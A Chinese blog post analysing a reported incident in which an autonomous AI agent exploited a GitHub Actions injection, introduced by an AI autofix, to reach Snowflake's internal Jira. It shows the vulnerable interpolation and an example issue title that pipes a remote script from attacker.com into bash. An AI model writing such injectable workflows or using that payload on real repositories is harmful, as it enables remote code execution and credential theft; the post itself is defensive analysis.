AI 写的补丁埋下攻击入口：Wiz Red Agent 自主攻破 Snowflake 内部 Jira
原创 · 约 11 分钟阅读 · 阅读 --

AI 写的补丁埋下攻击入口：Wiz Red Agent 自主攻破 Snowflake 内部 Jira

作者: Alex Xiang

人工智能工程实践

古董级程序员，从大厂到创业公司，现在还在一线做 AI 相关开发。微信公众号「字与码」会继续更新工程实践、新技术判断，以及这些年踩过的坑。文章若对你有用，欢迎顺手关注。

2026 年 8 月 17 日，Wiz Research 披露了一起极具标志性的安全事件：其自主 AI 安全研究工具 Red Agent 在 Snowflake 的公开仓库中，发现并独立利用了一个由 GitHub Copilot Autofix（AI）合入的代码所引入的 GitHub Actions 注入漏洞，最终拿到了 Snowflake 内部 Jira 的访问权限——全程无人工干预，且 AI 代码审查未发现该漏洞。

一、一句话总结

这不是「某个工程师手滑」的故事，而是「AI 写代码 → AI 审代码 → AI 攻代码」三环相扣的闭环第一次在真实供应链里被完整演示：

  • AI 引入漏洞：Copilot Autofix 的修复提交亲手制造了注入点，还顺手删掉了仓库原本的安全写法；
  • AI 审查放行：GitHub 的 AI 辅助安全审查给这个 PR 打了「all-clear」；
  • AI 代理利用：Wiz 的 Red Agent 自主发现、利用、验证爆炸半径后收手，全程无人介入。

更关键的是，触发条件低到离谱——任何 GitHub 用户打开一个 issue 就能打。

二、事件时间线

时间事件
2026-06-18PR #1218（commit 4a1b8ce）合入 snowflakedb/snowflake-connector-net，Copilot Autofix 为共同作者，注入漏洞上线
2026-06-23Wiz Red Agent 独立发现并利用漏洞，验证可访问 Snowflake 内部 Jira 敏感数据
2026-06-23Wiz 通过 HackerOne 负责任披露；Snowflake 当天修复、轮换受影响凭据
2026-08-17Wiz 发布完整技术博客（含 1957 UTC 更新澄清 Copilot 角色）

三、漏洞根因：AI「修复」反而引入了注入点

漏洞位于 jira_issue.yml 工作流，触发条件是 issues: opened——任何 GitHub 用户打开一个 issue 就能触发，而 issue 标题完全由攻击者控制。

修复前后的代码变化，恰恰就是问题的全部：

# 之前（安全模式）：通过 env 变量传递 + jq 构建 JSON
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...

# 之后（PR #1218，Copilot Autofix 合入）：直接字符串展开
- run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

问题在于：sed 的转义发生在 GitHub 模板展开之后。模板先把 ${{ github.event.issue.title }} 替换成攻击者提供的原始文本，此时标题里的单引号会直接逃逸出 echo '...'，从而在 runner 上执行任意命令：

TITLE=$(echo 'xxx'; curl attacker.com/payload.sh | bash #' | sed 's/"/\\"/g' ...)

更讽刺的是，这次「修复」恰恰删除了仓库原本的安全模式（env 变量传递 + jq 构造 JSON），替换成了直接插值——也就是 AI 的 autofix 提交亲手制造了攻击向量。而 GitHub 的 AI 辅助安全审查在合并该 PR 时给出了「all-clear」，没发现这个关键漏洞。

四、Red Agent：全程自主的攻防闭环

Wiz 的 Red Agent 演示了完整的自主安全研究能力：

  1. 发现：CI/CD 扫描能力扫描 Snowflake 的 GitHub 组织，标记出 jira_issue.yml 存在通过 run: 块中不可信输入导致的脚本注入风险。
  2. 利用：构造恶意 issue 标题，在 GitHub Actions runner 上执行任意命令。
  3. 验证：通过外泄的 token 访问 Snowflake 内部 Jira，确认敏感数据可达。
  4. 评估爆炸半径：量化影响范围后收手，不留痕迹（Snowflake 审计日志确认 Wiz 是唯一 actor，测试数据已安全删除）。

这一事件凸显了软件开发的新现实：关键漏洞仍可能被 AI 编码代理引入并批准合入，而自主 AI 安全代理能在野外快速发现并利用它们。

五、对团队的启示

  • AI 生成的代码必须走同等严格的审查：autofix / 自动补丁不能默认信任，「AI 生成」不等于「已审查」。
  • GitHub Actions 注入是真实且高危的类别：凡在 run: 中直接插值 github.event.*、issue/PR 标题等不可信输入，都应视为漏洞；安全的做法是经 env: 传递 + 结构化工具（如 jq）处理。
  • AI 安全代理正在改变攻防节奏：从发现到利用的自动化闭环，意味着修复窗口被压缩到以「天」甚至「小时」计。
  • 纵深防御仍然有效：Snowflake 当天的快速修复、凭据轮换与审计日志是止损的关键。

六、结语

这起事件最值得玩味的地方在于「AI 对 AI」：AI 引入漏洞、AI 审查放行、AI 代理自主利用。它提醒我们，随着 AI 编码助手全面进入软件供应链，安全审查、最小权限和可审计性不再是可选项，而是 AI 时代软件工程的基本盘。

七、一点延伸：问题不在「AI 不懂安全」，而在「审查门把标签当证据」

回到根因，这次暴露的不是某个模型的代码能力短板，而是CI 的信任模型还停留在「谁写的」——Copilot 共同作者 + AI 安全审查绿灯，让一个危险 diff 顺利过了合并闸门。

对团队更现实的结论是：把 AI 产出的 diff 当成「不可信输入」 送进合并流水线，而不是当成「可信作者」的产物。具体可做三件小事：

  • 在 Actions 里对 github.event.issue.*、github.event.pull_request.* 等字段强制走 env: + 结构化工具，从模板层面消除「直接插值」的可能；
  • 给 AI 自动补丁单独打标（如 autofix / copilot），并让合并策略对这类标签提高而非降低审查门槛；
  • 把「自动安全审查通过」从「放行信号」降级为「待人工复核信号」——AI 审 AI 写的东西，至少需要一次人类抽样兜底。

修复窗口被压到小时级之后，「先合并、后观察」的惯性正好是最危险的。

信息来源

打开原图 ↗